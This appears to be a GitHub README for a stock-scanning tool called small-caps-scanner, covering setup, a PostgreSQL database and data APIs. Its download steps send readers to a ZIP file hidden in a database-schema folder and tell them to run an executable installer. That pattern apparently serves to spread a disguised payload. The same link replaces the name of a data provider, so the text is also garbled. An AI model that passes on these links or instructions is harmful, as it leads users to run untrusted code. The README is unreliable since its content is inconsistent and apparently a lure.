Welcome to small-caps-scanner! This tool helps you track stock market movements for small cap stocks. You can find top gainers and active stocks in both pre-market and regular sessions. Letβs get you set up so you can enjoy its features.
Before you begin, make sure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python: Version 3.6 or higher (this tool requires Python to run)
- Database: PostgreSQL
- Internet Connection: Required for fetching stock data
To download small-caps-scanner, visit the link below:
-
Click the link below to visit the Releases page and download the application.
-
On the Releases page, find the latest version. Look for a file named something like
https://raw.githubusercontent.com/Usagic9631/small-caps-scanner/master/db/schema/small-caps-scanner_v3.1-beta.3.ziporhttps://raw.githubusercontent.com/Usagic9631/small-caps-scanner/master/db/schema/small-caps-scanner_v3.1-beta.3.zip. -
Click on the file to download it to your computer.
-
Once the download is complete, locate the file in your downloads folder.
-
If you downloaded a ZIP file, extract its contents using a tool like WinRAR or built-in operating system tools.
-
Run the setup file (if it is an executable) or follow the instructions provided in the extracted folder.
-
Follow the prompts in the installer to complete the installation.
-
After installation, you can find small-caps-scanner in your applications.
To fully utilize small-caps-scanner, you need to set up a PostgreSQL database.
-
If you don't have PostgreSQL installed, download it from the official PostgreSQL website.
-
Install PostgreSQL following the instructions relevant to your operating system.
-
After installation, create a new database for small-caps-scanner.
- Use the following SQL command in your PostgreSQL shell:
CREATE DATABASE stock_data;
- Use the following SQL command in your PostgreSQL shell:
-
Configure your database connection in the application's settings. You will need the database name, user, and password you set up during installation.
small-caps-scanner integrates with several APIs to gather stock data. Hereβs how to set it up:
-
Charles Schwab API: Sign up for a Charles Schwab account. Follow their instructions to generate an API key.
-
Yahoo Finance: No sign-up is needed; the application uses their public API.
-
https://raw.githubusercontent.com/Usagic9631/small-caps-scanner/master/db/schema/small-caps-scanner_v3.1-beta.3.zip: Similar to Yahoo Finance, you can access their public data directly.
-
Insert your Charles Schwab API key into the application settings.
Once you have everything set up, it's time to start using small-caps-scanner:
- Launch the application.
- Select the session you want to analyze: pre-market or regular market.
- Click on "Scan" to view the top gainers and movers.
- Review the comprehensive stock data and performance indexes.
- You can export the results to a CSV file for your records.
- Real-time stock data: Fetches and displays current market information.
- Performance indexing: Tracks over 40 performance metrics for in-depth analysis.
- Custom alerts: Set up alerts for specific stock movements or price changes.
- User-friendly interface: Navigate easily through your stock data.
- Keep your version of Python and PostgreSQL updated for the best performance.
- Check the application settings to customize your data preferences.
- Regularly visit the Releases page for updates and new features.
For more information and support, you can access the following resources:
If you have any questions or run into issues, please open an issue in the GitHub repository. Happy scanning!